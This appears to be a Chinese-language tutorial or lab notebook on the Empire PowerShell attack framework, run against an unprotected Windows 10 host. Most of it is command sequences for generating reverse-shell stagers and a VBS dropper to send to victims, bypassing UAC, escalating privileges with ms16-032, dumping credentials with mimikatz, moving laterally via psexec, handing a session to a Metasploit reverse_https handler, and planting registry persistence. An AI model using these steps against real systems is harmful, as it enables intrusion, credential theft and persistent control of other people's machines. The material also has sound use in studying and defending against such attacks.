参考文献:http://www.52bug.cn/%E9%BB%91%E5%AE%A2%E6%8A%80%E6%9C%AF/4158.html
http://www.freebuf.com/articles/network/175097.html
https://www.tuicool.com/articles/aQRJnqr
https://www.anquanke.com/post/id/87328
https://www.anquanke.com/post/id/87333
环境
ubuntu16.04
win10(所有防御都没关)
empire简介
Empire是一个针对windows平台的使用PowerShell脚本作为攻击载荷的渗透攻击框架,包括了从stager生成、提权到渗透维持的一系列功能。Empire实现了无需powershell.exe就可运行PowerShell代理的功能。
安装
1 | git clone https://github.com/EmpireProject/Empire.git |
设置监听
1 | lsof -i:80 //查看端口 |
生成木马
设置完监听,接着生成木马,输入usestager
以后按下空格然后在按下tab键,可以看到总共是26个模块。其中multi为通用模块、osx为mac操作系统,还有linux与windows模块。 生成的文件类型有.dll,bat,vbs等。
1.launcher反弹shell代理1
launcher python test
生成的内容直接贴到其他linux系统中1
launcher powershell test
生成的内容直接贴到其他windows系统中(Username带有``的是已提权成功的代理)*
2.vbs反弹shell代理1
2
3(Empire: listeners) > usestager windows/launcher_vbs
(Empire: stager/windows/launcher_vbs) > set Listener test
(Empire: stager/windows/launcher_vbs) > execute
生成的vbs文件可以通过xftp下载,并发给你的攻击目标,只要对方一点,就可以拿到目标的shell了
PS:其他的操作类似就不再一一记录了
连接代理及基本使用
1 | agents //回连的靶机 |
usemodule模块
1
2
3
4
5
6
7
8
9
10
11
12(Empire: F76ADxxx) > usemodule
code_execution #代码执行
collection #信息收集模块、屏幕截图、键盘记录 、剪贴板记录等
credentials #密码凭据的获取和转储
exfiltration #指定ip进行端口扫描
lateral_movement #横向渗透模块
management #用来执行些系统设置,和邮件信息的收集
persistence #权限维持工具
privesc #权限提升
recon #侦察
situational_awareness #评估主机运行环境,网络运行环境
trollsploit #恶作剧UAC提权模块
这个需要给电脑上发文件,但是直接被查杀了1
2
3
4(Empire: agents) > interact A9U38xxx
(Empire: A9U38xxx) > usemodule privesc/bypassuac
(Empire: powershell/privesc/bypassuac) > set Listener test
(Empire: powershell/privesc/bypassuac) > execute使用Empire内置模块ms16-032提权
1
2
3(Empire: A9U38xxx) > usemodule privesc/ms16-032
(Empire: powershell/privesc/ms16-032) > set Listener test
(Empire: powershell/privesc/ms16-032) > execute收集目标有用的信息
1
2(Empire: A9U38xxx) > usemodule situational_awareness/host/winenum
(Empire: powershell/situational_awareness/host/winenum) > executemimikatz模块(只能在windows的环境上使用)
1
2
3mimikatz //需要对带有*的权限才能获取系统账号密码
creds //查看所有hash值包括明文,数据库中写入的各类凭据
creds export /root/1.csv //导出hash凭证到指定的路径的格式AllChecks模块(检查提权方法)
1
2(Empire: A9U38xxx) > usemodule privesc/powerup/allchecks
(Empire: powershell/privesc/powerup/allchecks) > executepsexec模块横向生成一个反弹代理
1
2
3
4
5
6(Empire: S4DU3VSRKR3U1DDF) > usemodule lateral_movement/invoke_psexec
(Empire: lateral_movement/invoke_psexec) > info
(Empire: lateral_movement/invoke_psexec) > set Listener test
(Empire: lateral_movement/invoke_psexec) > set ComputerName DESKTOP-14(`agents`命令下的`Username`的`\`前的名字)
(Empire: lateral_movement/invoke_psexec) > execute
Empire: lateral_movement/invoke_psexec) > agentsEmpire和msf的联动
利用Empire派生一个meterpreter的shell回来
在msf下设置监听,通过https的方式反向连接。1
2
3
4
5use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost xxx.xxx.xxx.xxx
set lport 443
exploit
同样empire也建立个监听1
2
3
4
5(Empire: agents) > interact A9U38xxx
(Empire: A9U38xxx) > usemodule code_execution/invoke_shellcode
(Empire: powershell/code_execution/invoke_shellcode) > set Lport 443
(Empire: powershell/code_execution/invoke_shellcode) > set Lhost xxx.xxx.xxx.xxx
(Empire: powershell/code_execution/invoke_shellcode) > execute
- 权限维持(registry)
1
2
3(Empire: 3K5AExxx) > usemodule persistence/elevated/registry*
(Empire: powershell/persistence/elevated/registry) > set Listener test
(Empire: powershell/persistence/elevated/registry) > execute
在windows注册表regedit HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Debug
可以看到